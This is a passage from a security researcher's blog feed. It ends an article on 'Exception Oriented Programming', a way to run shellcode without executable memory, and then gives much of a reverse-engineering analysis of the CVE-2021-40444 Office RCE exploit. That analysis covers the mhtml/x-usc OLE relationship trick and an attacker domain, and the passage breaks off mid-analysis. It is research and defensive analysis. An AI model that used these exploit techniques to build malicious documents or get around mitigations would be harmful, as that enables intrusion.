<!--kg-card-end: markdown--><p>Assuming the shellcode ends with a return instruction, eventually the execution flow will be gracefully returned to the caller.</p><p>Exception Oriented Programming highlights a fundamental design flaw with the JIT restrictions present in the Hardened Runtime. The JIT mitigation assumes that to execute code &quot;just-in-time&quot;, an attacker must have access to a WX page. In reality, an attacker can abuse a large amount of the instructions already present in legitimate modules to execute their own malicious shellcode.</p><h1 id="proof-of-concept">Proof of Concept</h1><p>Both the Windows and macOS proof-of-concept utilities can be accessed at <a href="https://github.com/D4stiny/ExceptionOrientedProgramming">this repository</a>.</p><h1 id="conclusion">Conclusion</h1><p>As seen with the new methodology in this article, code execution can be achieved without the need of dedicated memory for that code. When considering future research into runtime code execution, it is more effective to look at execution from a high-level perspective, an objective of executing the operations in a piece of code, instead of focusing on the requirements of existing methodology.</p><p>In part 2 of this series, we will explore how Exception Oriented Programming expands the possibilities for buffer overflow exploitation on Windows. We&apos;ll explore how to evade Microsoft&apos;s ROP mitigations such as security cookies and SafeSEH for gaining code execution from common vulnerabilities. Make sure to follow <a href="https://twitter.com/BillDemirkapi">my Twitter</a> to be amongst the first to know when this article has been published!</p><h1 id="parallel-discovery">Parallel Discovery</h1><p>Recently, another researcher (<a href="https://twitter.com/x86matthew">@x86matthew</a>) published an article describing a similar idea to Exception Oriented Programming, implemented using vectored exception handlers for x86. </p><p>Whenever my research leads me to some new methodology I consider innovative, one practice I take is to publish a SHA256 hash of the idea, such that in the future, I can prove that I discovered a certain idea at a certain point in time. Fortunately, I followed this practice for Exception Oriented Programming.</p><p>On February 3rd, 2021, I created a <a href="https://gist.github.com/D4stiny/f339cbac4a9f8f2eeec63778bf546f28">public gist</a> of the follow SHA256 hash:</p><pre><code class="language-5169c2b0b13a9b713b3d388e61eb007672e2377afd53720a61231491a4b627f7">5169c2b0b13a9b713b3d388e61eb007672e2377afd53720a61231491a4b627f7</code></pre><p>To prove that this hash is a representation of a message summarizing Exception Oriented Programming, here is the message you can take a SHA256 hash of and compare to the published one above.</p><blockquote>Instead of allocating executable memory to execute shellcode, split the shellcode into individual instructions, find modules in memory that have the instruction bytes in an executable section, then single step over those instructions (changing the RIP to the next instruction and so on).</blockquote><p>Since the core idea was published by Matthew, I wanted to share my additional research in this article around stealthier SEH exception handlers and how the impact is not only limited to Windows. In a future article, I plan on sharing my additional research on how this methodology can be applied on previously unexploitable buffer overflow vulnerabilities on Windows.</p>]]></content:encoded></item><item><title><![CDATA[Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit]]></title><description><![CDATA[<p>In the middle of August 2021, a special <a href="https://www.virustotal.com/gui/file/3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf/">Word document</a> was uploaded to VirusTotal by a user from Argentina. Although it was only detected by a single antivirus engine at the time, this sample turned out to be exploiting a zero day vulnerability in Microsoft Office to gain remote code</p>]]></description><link>https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/</link><guid isPermaLink="false">61451855a39fe110b6ef56b4</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Fri, 07 Jan 2022 09:18:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2022/01/unpackingcve202140444-banner.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2022/01/unpackingcve202140444-banner.png" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit"><p>In the middle of August 2021, a special <a href="https://www.virustotal.com/gui/file/3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf/">Word document</a> was uploaded to VirusTotal by a user from Argentina. Although it was only detected by a single antivirus engine at the time, this sample turned out to be exploiting a zero day vulnerability in Microsoft Office to gain remote code execution.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://billdemirkapi.me/content/images/2021/11/image-1.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1408" height="462" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-1.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-1.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-1.png 1408w" sizes="(min-width: 1200px) 1200px"></figure><p>Three weeks later, Microsoft published an <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444">advisory</a> after being notified of the exploit by researchers from Mandiant and EXPMON. It took Microsoft nearly a month from the time the exploit was first uploaded to VirusTotal to publish a patch for the zero day.</p><p>In this blog post, I will be sharing my in-depth analysis of the several vulnerabilities abused by the attackers, how the exploit was patched, and how to port the exploit for a generic Internet Explorer environment.</p><h2 id="first-look">First Look</h2><p>A day after Microsoft published their advisory, I saw a tweet from the malware collection group <a href="https://twitter.com/vxunderground">@vxunderground</a> offering a malicious payload for CVE-2021-40444 to blue/red teams.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2021/11/image-2.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="742" height="252" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-2.png 600w, https://billdemirkapi.me/content/images/2021/11/image-2.png 742w" sizes="(min-width: 720px) 720px"></figure><p>I reached out to receive a copy, because why not? My curiosity has generally lead me in the right direction for my life and I was interested in seeing a Microsoft Word exploit that had been found in the wild.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2021/11/image-3.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1224" height="238" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-3.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-3.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-3.png 1224w" sizes="(min-width: 720px) 720px"></figure><p>With the payload in hand, one of the first steps I took was placing it into an isolated virtual machine with basic dynamic analysis tooling. Specifically, one of my favorite network monitoring utilities is <a href="https://www.telerik.com/fiddler/fiddler-classic">Fiddler</a>, a freemium tool that allows you to intercept web requests (including encrypted HTTPS traffic).</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2021/11/image-4.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1072" height="420" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-4.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-4.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-4.png 1072w" sizes="(min-width: 720px) 720px"></figure><p>After I opened the malicious Word document, Fiddler immediately captured strange HTTP requests to the domain, &quot;hidusi[.]com&quot;. For some reason, the Word document was making a request to &quot;http://hidusi[.]com/e8c76295a5f9acb7/side.html&quot;.</p><p>At this point, the &quot;hidusi[.]com&quot; domain was already taken down. Fortunately, the &quot;side.html&quot; file being requested was included with the sample that was shared with me.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2021/11/image-5.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1120" height="396" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-5.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-5.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-5.png 1120w" sizes="(min-width: 720px) 720px"></figure><p>Unfortunately, the HTML file was largely filled with obfuscated JavaScript. Although I could immediately decrypt this JavaScript and go from there, this is generally a bad idea to do at an early stage because we have no understanding of the exploit.</p><h2 id="reproduction">Reproduction</h2><p>Whenever I encounter a new vulnerability that I want to reverse engineer, my first goal is always to produce a minimal reproduction example of the exploit to ensure I have a working test environment and a basic understanding of how the exploit works. Having a reproduction case is critical to reverse engineering how the bug works, because it allows for dynamic analysis.</p><p>Since the original &quot;hidusi[.]com&quot; domain was down, we needed to host our version of side.html. Hosting a file is easy, but how do we make the Word document use our domain instead? It was time to find where the URL to side.html was hidden inside the Word document.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-6.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="936" height="250" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-6.png 600w, https://billdemirkapi.me/content/images/2021/11/image-6.png 936w" sizes="(min-width: 720px) 720px"><figcaption>Raw Bytes of &quot;A Letter before court 4.docx&quot;</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-7.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="626" height="123" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-7.png 600w, https://billdemirkapi.me/content/images/2021/11/image-7.png 626w"><figcaption>Extracted Contents of &quot;A Letter before court 4.docx&quot;</figcaption></figure><p>Did you know that Office documents are just ZIP files? As we can see from the bytes of the malicious document, the first few bytes are simply the magic value in the ZIP header.</p><p>Once I extracted the document as a ZIP, finding the URL was relatively easy. I performed a string search across every file the document contained for the domain &quot;hidusi[.]com&quot;.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-8.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="722" height="279" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-8.png 600w, https://billdemirkapi.me/content/images/2021/11/image-8.png 722w" sizes="(min-width: 720px) 720px"><figcaption>Hidusi[.]com found under word/_rels/document.xml.rels</figcaption></figure><p>Sure enough, I found one match inside the file &quot;word/_rels/document.xml.rels&quot;. This file is responsible for defining relationships associated with embedded objects in the document.</p><p>OLE objects are part of Microsoft&apos;s proprietary <a href="https://en.wikipedia.org/wiki/Object_Linking_and_Embedding">Object Linking and Embedding</a> technology, which allows external documents, such as an Excel spreadsheet, to be embedded within a Word document.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-9.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1206" height="27" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-9.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-9.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-9.png 1206w" sizes="(min-width: 1200px) 1200px"><figcaption>Strange Target for OLE Object</figcaption></figure><p>The relationship that contained the malicious URL was an external OLE object with a strange &quot;Target&quot; attribute containing the &quot;mhtml&quot; protocol. Let&apos;s unpack what&apos;s going on in this value.</p><ol><li>In red, we see the URL Protocol &quot;mhtml&quot;.</li><li>In green, we see the malicious URL our proxy caught.</li><li>In blue, we see an interesting &quot;!x-usc&quot; suffix appended to the malicious URL.</li><li>In purple, we see the same malicious URL repeated.</li></ol><p>Let&apos;s investigate each piece one-by-one.</p><h3 id="reproduction-whats-mhtml">Reproduction: What&apos;s &quot;MHTML&quot;?</h3><p>A useful tool I&apos;ve discovered in past research is <a href="https://www.nirsoft.net/utils/url_protocol_view.html">URLProtocolView</a> from Nirsoft. At a high level, URLProtocolView allows you to list and enumerate the URL protocols installed on your machine.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-10.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="768" height="68" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-10.png 600w, https://billdemirkapi.me/content/images/2021/11/image-10.png 768w" sizes="(min-width: 720px) 720px"><figcaption>The MHTML Protocol in URLProtocolView</figcaption></figure><p>The MHTML protocol used in the Target attribute was a Pluggable Protocol Handler, similar to HTTP. The inetcomm.dll module was responsible for handling requests to this protocol.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-11.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="861" height="108" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-11.png 600w, https://billdemirkapi.me/content/images/2021/11/image-11.png 861w" sizes="(min-width: 720px) 720px"><figcaption>The HTTP* Protocols in URLProtocolView</figcaption></figure><p>Unlike MHTML however, the HTTP protocol is handled by the urlmon.dll module. </p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2021/11/image-12.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="926" height="734" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-12.png 600w, https://billdemirkapi.me/content/images/2021/11/image-12.png 926w" sizes="(min-width: 720px) 720px"></figure><p>When I was researching past exploits involving the MHTML protocol, I came across an interesting article all the way back from 2011 about <a href="https://www.exploit-db.com/exploits/16071">CVE-2011-0096</a>. In this case, a Google engineer publicly disclosed an exploit that they suspected malicious actors attributed to China had already discovered. Similar to this vulnerability, CVE-2021-0096 was only found to be used in &quot;very targeted&quot; attacks.</p><p>When I was researching implementations of exploits for CVE-2011-0096, I came across an <a href="https://www.exploit-db.com/exploits/16071">exploit-db release</a> that included an approach for abusing the vulnerability through a Word document. Specifically, in part #5 and #6 of the exploit, this author discovered that CVE-2011-0096 could be abused to launch executables on the local machine and read the contents of the local filesystem. The interesting part here is that this 2011 vulnerability involved abusing the MHTML URL protocol and that it allowed for remote code execution via a Word document, similar to the case with CVE-2021-4044. </p><h3 id="reproduction-what-about-the-x-usc-in-the-target">Reproduction: What about the &quot;X-USC&quot; in the Target?</h3><p>Going back to our strange Target attribute, what is the &quot;!x-usc:&quot; portion for?</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://billdemirkapi.me/content/images/2021/11/image-14.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1324" height="506" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-14.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-14.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-14.png 1324w" sizes="(min-width: 1200px) 1200px"></figure><p>I found <a href="mhtml:http://google.com/whatever!x-usc:http://bing.com">a blog post from 2018</a> by <a href="https://twitter.com/insertScript">@insertScript</a> which discovered that the x-usc directive was used to reference an external link. In fact, the example URL given by the author still works on the latest version of Internet Explorer (IE). If you enter &quot;mhtml:http://google.com/whatever!x-usc:http://bing.com&quot; into your IE URL bar while monitoring network requests, there will be both a request to Google and Bing, due to the &quot;x-usc&quot; directive.</p><p>In the context of CVE-2021-40444, I was unable to discover a definitive answer for why the same URL was repeated after an &quot;x-usc&quot; directive. As we&apos;ll see in upcoming sections, the JavaScript in side.html is executed regardless of whether or not the attribute contains the &quot;x-usc&quot; suffix. It is possible that due to some potential race conditions, this suffix was added to execute the exploit twice to ensure successful payload delivery.</p><h3 id="reproduction-attempting-to-create-my-own-payload">Reproduction: Attempting to Create my Own Payload</h3><p>Now that we know how the remote side.html page is triggered by the Word document, it was time to try and create our own. Although we could proceed by hosting the same side.html payload the attackers used in their exploit, it is important to produce a minimal reproduction example first.</p><p>Instead of hosting the second-stage side.html payload, I opted to write a barebone HTML page that would indicate JavaScript execution was successful. This way, we can understand how JavaScript is executed by the Word document before reverse engineering what the attacker&apos;s JavaScript does.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-15.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="874" height="368" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-15.png 600w, https://billdemirkapi.me/content/images/2021/11/image-15.png 874w" sizes="(min-width: 720px) 720px"><figcaption>Test Payload to Prove JS Execution</figcaption></figure><p>In the example above, I created an HTML page that simply made an <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> to a non-existent domain. If the JavaScript is executed, we should be able to see a request to &quot;icanseethisrequestonthenetwork.com&quot; inside of Fiddler.</p><p>Before testing in the actual Word document, I verified as a sanity check that this page does make the web request inside of Internet Explorer. Although the code may seem simple enough to where it would &quot;obviously work&quot;, performing simple sanity checks like these on fundamental assumptions you make can greatly save you time debugging future issues. For example, if you don&apos;t verify a fundamental assumption and continue with reverse engineering, you could spend hours debugging the wrong issue when in fact you were missing a basic mistake.</p><figure class="kg-card kg-image-card kg-width-wide kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-16.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1668" height="97" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-16.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-16.png 1000w, https://billdemirkapi.me/content/images/size/w1600/2021/11/image-16.png 1600w, https://billdemirkapi.me/content/images/2021/11/image-16.png 1668w" sizes="(min-width: 1200px) 1200px"><figcaption>Modified Relationship with Barebone Payload</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-17.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="774" height="349" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-17.png 600w, https://billdemirkapi.me/content/images/2021/11/image-17.png 774w" sizes="(min-width: 720px) 720px"><figcaption>Network Requests After Executing Modified Document</figcaption></figure><p>Once I patched the original Word document with my modified relationship XML, I launched it inside my VM with the Fiddler proxy running. I was seeing requests to the send_request.html payload! But... there were no requests to &quot;icanseethisonthenetwork.com&quot;. We have demonstrated a flaw in our fundamental assumption that whatever HTML page we point the MHTML protocol towards will be executed.</p><p>How do you debug an issue like this? One approach would be to go in blind and try to reverse engineer the internals of the HTML engine to see why JavaScript wasn&apos;t being executed. The reason this is not a great idea is because often these codebases can be <em>massive</em>, and it would be like finding a needle in a haystack.</p><p>What can we do instead? Create a minimally viable reproduction case where the JavaScript of the HTML <em>is</em> executed. We know that the attacker&apos;s payload must have worked in their attack. What if instead of writing our own payload first, we tried to host their payload instead?</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-24.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="778" height="374" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-24.png 600w, https://billdemirkapi.me/content/images/2021/11/image-24.png 778w" sizes="(min-width: 720px) 720px"><figcaption>Network Requests After Executing with Side.html Payload</figcaption></figure><p>I uploaded the attacker&#x2019;s original &quot;side.html&quot; payload to my server and replaced the relationship in the Word document with that URL. When I executed this modified document in my VM, I saw something extremely promising- requests for &quot;ministry.cab&quot;. This means that the attacker&apos;s JavaScript inside side.html was executed!</p><p>We have an MVP payload that gets executed by the Word document, now what? Although we could ignore our earlier problem with our own payload and try to figure out what the CAB file is used for directly, we&apos;d be skipping a crucial step of the exploit. We want to <em>understand</em> CVE-2021-40444, not just reproduce it.</p><p>With this MVP, we can now try to debug and reverse engineer the question, &quot;Why does the working payload result in JavaScript execution, but not our own sample?&quot;.</p><h3 id="reproduction-reverse-engineering-microsoft%E2%80%99s-html-engine">Reproduction: Reverse Engineering Microsoft&#x2019;s HTML Engine</h3><p>The primary module responsible for processing HTML in Windows is MSHTML.DLL, the &quot;Microsoft HTML Viewer&quot;. This binary alone is 22 MB, because it contains almost everything from rendering HTML to executing JavaScript. For example, Microsoft has their own JavaScript engine in this binary used in Internet Explorer (and Word).</p><p>Given this massive size, blindly reversing is a terrible approach. What I like to do instead is use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procmon">ProcMon</a> to trace the execution of the successful (document with side.html) and failing payload (document with barebone HTML), then compare their results. I executed the attacker payload document and my own sample document while monitoring Microsoft Word with ProcMon.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-28.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="938" height="188" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-28.png 600w, https://billdemirkapi.me/content/images/2021/11/image-28.png 938w" sizes="(min-width: 720px) 720px"><figcaption>Microsoft Word Loading JScript9.dll in Success Case</figcaption></figure><p>With the number of operations an application like Microsoft Office makes, it can be difficult to sift through the noise. The best approach I have for this problem is to use my context to find relevant operations. In this case, since we were looking into the execution of JavaScript, I looked for operations involving the word &#x201C;script&#x201D;.</p><p>You might think, what can we do with relevant operations? An insanely useful feature of ProcMon is the ability to see the caller stack for a given operation. This lets you see <em>what </em>executed the operation.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-31.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="582" height="435"><figcaption>Stack Trace of JScript9.dll Module Load</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-32.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1146" height="338" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-32.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-32.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-32.png 1146w" sizes="(min-width: 720px) 720px"><figcaption>IDA Pro Breakpoint on PostManExecute</figcaption></figure><p>It looked like the PostManExecute function was primary responsible for triggering the complete execution of our payload. Using IDA Pro, I set a breakpoint on this function and opened both the successful/failing payloads.</p><p>I found that when the success payload was launched, PostManExecute would be called, and the page would be loaded. On the failure case however, PostManExecute was not called and thus the page was never executed. Now we needed to figure out why is PostManExecute being invoked for the attacker&#x2019;s payload but not ours?</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-34.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="686" height="199" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-34.png 600w, https://billdemirkapi.me/content/images/2021/11/image-34.png 686w"><figcaption>Partial Stack Trace of JScript9.dll Module Load</figcaption></figure><p>Going back to the call stack, what&#x2019;s interesting is that PostManExecute seems to be the result of a callback that is being invoked in an asynchronous thread.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-35.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1253" height="158" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-35.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-35.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-35.png 1253w" sizes="(min-width: 720px) 720px"><figcaption>X-Refs to CDwnChan::OnMethodCall from Call Stack</figcaption></figure><p>Looking at the cross references for the function called right after the asynchronous dispatcher, CDwnChan::OnMethodCall, I found that it seemed to be queued in another function called CDwnChan::Signal.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-36.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1118" height="59" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-36.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-36.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-36.png 1118w" sizes="(min-width: 720px) 720px"><figcaption>Asynchronous Execution of CDwnChan::OnMethodCall inside CDwnChan::Signal</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-37.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1010" height="325" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-37.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-37.png 1000w, https://billdemirkapi.me/content/images/2021/11/image-37.png 1010w" sizes="(min-width: 720px) 720px"><figcaption>X-Refs to CDwnChan::Signal</figcaption></figure><p>CDwnChan::Signal seemed to be using the function &quot;_GWPostMethodCallEx&quot; to queue the CDwnChan::OnMethodCall to be executed in the asynchronous thread we saw. Unfortunately, this Signal function is called from many places, and it would be a waste of time to try to statically reverse engineer every reference.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-38.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="964" height="368" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-38.png 600w, https://billdemirkapi.me/content/images/2021/11/image-38.png 964w" sizes="(min-width: 720px) 720px"><figcaption>X-Refs to Asynchronous Queue&apos;ing Function __GWPostMethodCallEx</figcaption></figure><p>What can we do instead? Looking at the X-Refs for _GWPostMethodCallEx, it seemed like it was used to queue almost everything related to HTML processing. What if we hooked this function and compared the different methods that were queued between the success and failure path?</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2021/11/image-47.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="938" height="531" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-47.png 600w, https://billdemirkapi.me/content/images/2021/11/image-47.png 938w" sizes="(min-width: 720px) 720px"></figure><p>Whenever __GWPostMethodCallEx was called, I recorded the method being queued for asynchronous execution and the call stack. The diagram above demonstrates the methods that were queued during the execution of the successful payload and the failing payload. Strangely in the failure path, the processing of the HTML page was terminated (CDwnBindData::TerminateOnApt) before the page was ever executed.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-49.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="774" height="286" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-49.png 600w, https://billdemirkapi.me/content/images/2021/11/image-49.png 774w" sizes="(min-width: 720px) 720px"><figcaption>Callstack for CDwnBindData::TerminateOnApt</figcaption></figure><p>Why was the Terminate function being queued before the OnMethodCall function in the failure path? The call stacks for the Terminate function matched between the success and failure paths. Let&#x2019;s reverse engineer those functions.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-50.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="980" height="235" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-50.png 600w, https://billdemirkapi.me/content/images/2021/11/image-50.png 980w" sizes="(min-width: 720px) 720px"><figcaption>Partial Pseudocode of CDwnBindData::Read</figcaption></figure><p>When I debugged the CDwnBindData::Read function, which called the Terminate function, I found that a call to CDwnStm::Read was working in the success path but returning an error in the failure path. This is what terminated the page execution for our sample payload!</p><p>The third argument to CDwnStm::Read was supposed to be the number of bytes the client should try to read from the server. For some reason, the client was expecting 4096 bytes and my barebone HTML file was not that big.</p><p>As a sanity check, I added a bunch of useless padding to the end of my HTML file to make its size 4096+ bytes. Let&#x2019;s see our network requests with this modified payload.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-51.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="1618" height="230" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-51.png 600w, https://billdemirkapi.me/content/images/size/w1000/2021/11/image-51.png 1000w, https://billdemirkapi.me/content/images/size/w1600/2021/11/image-51.png 1600w, https://billdemirkapi.me/content/images/2021/11/image-51.png 1618w" sizes="(min-width: 720px) 720px"><figcaption>Modified Barebone HTML with Padding to 4096 bytes</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-52.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="962" height="83" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-52.png 600w, https://billdemirkapi.me/content/images/2021/11/image-52.png 962w" sizes="(min-width: 720px) 720px"><figcaption>Network Requests of Barebone Word Document</figcaption></figure><p>We had now found and fixed the issue with our barebone HTML page! But our work isn&apos;t over yet. We wouldn&#x2019;t be great reverse engineers if we didn&#x2019;t investigate <em>why</em> the client was expecting 4096 bytes in the first place.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2021/11/image-55.png" class="kg-image" alt="Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit" loading="lazy" width="904" height="210" srcset="https://billdemirkapi.me/content/images/size/w600/2021/11/image-55.png 600w, https://billdemirkapi.me/content/images/2021/11/image-55.png 904w" sizes="(min-width: 720px) 720px"><figcaption>Partial Pseudocode of CHtmPre::GetReadRequestSize</figcaption></figure><p>I traced back the origin of the expected size to a call in CHtmPre::Read to CHtmPre::GetReadRequestSize. Stepping through this function in a debugger, I found that a field at offset 136 of the CHtmPre class represented the request size the client should expect. How can we find out why this value is 4096? Something had to write to it at some point.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img 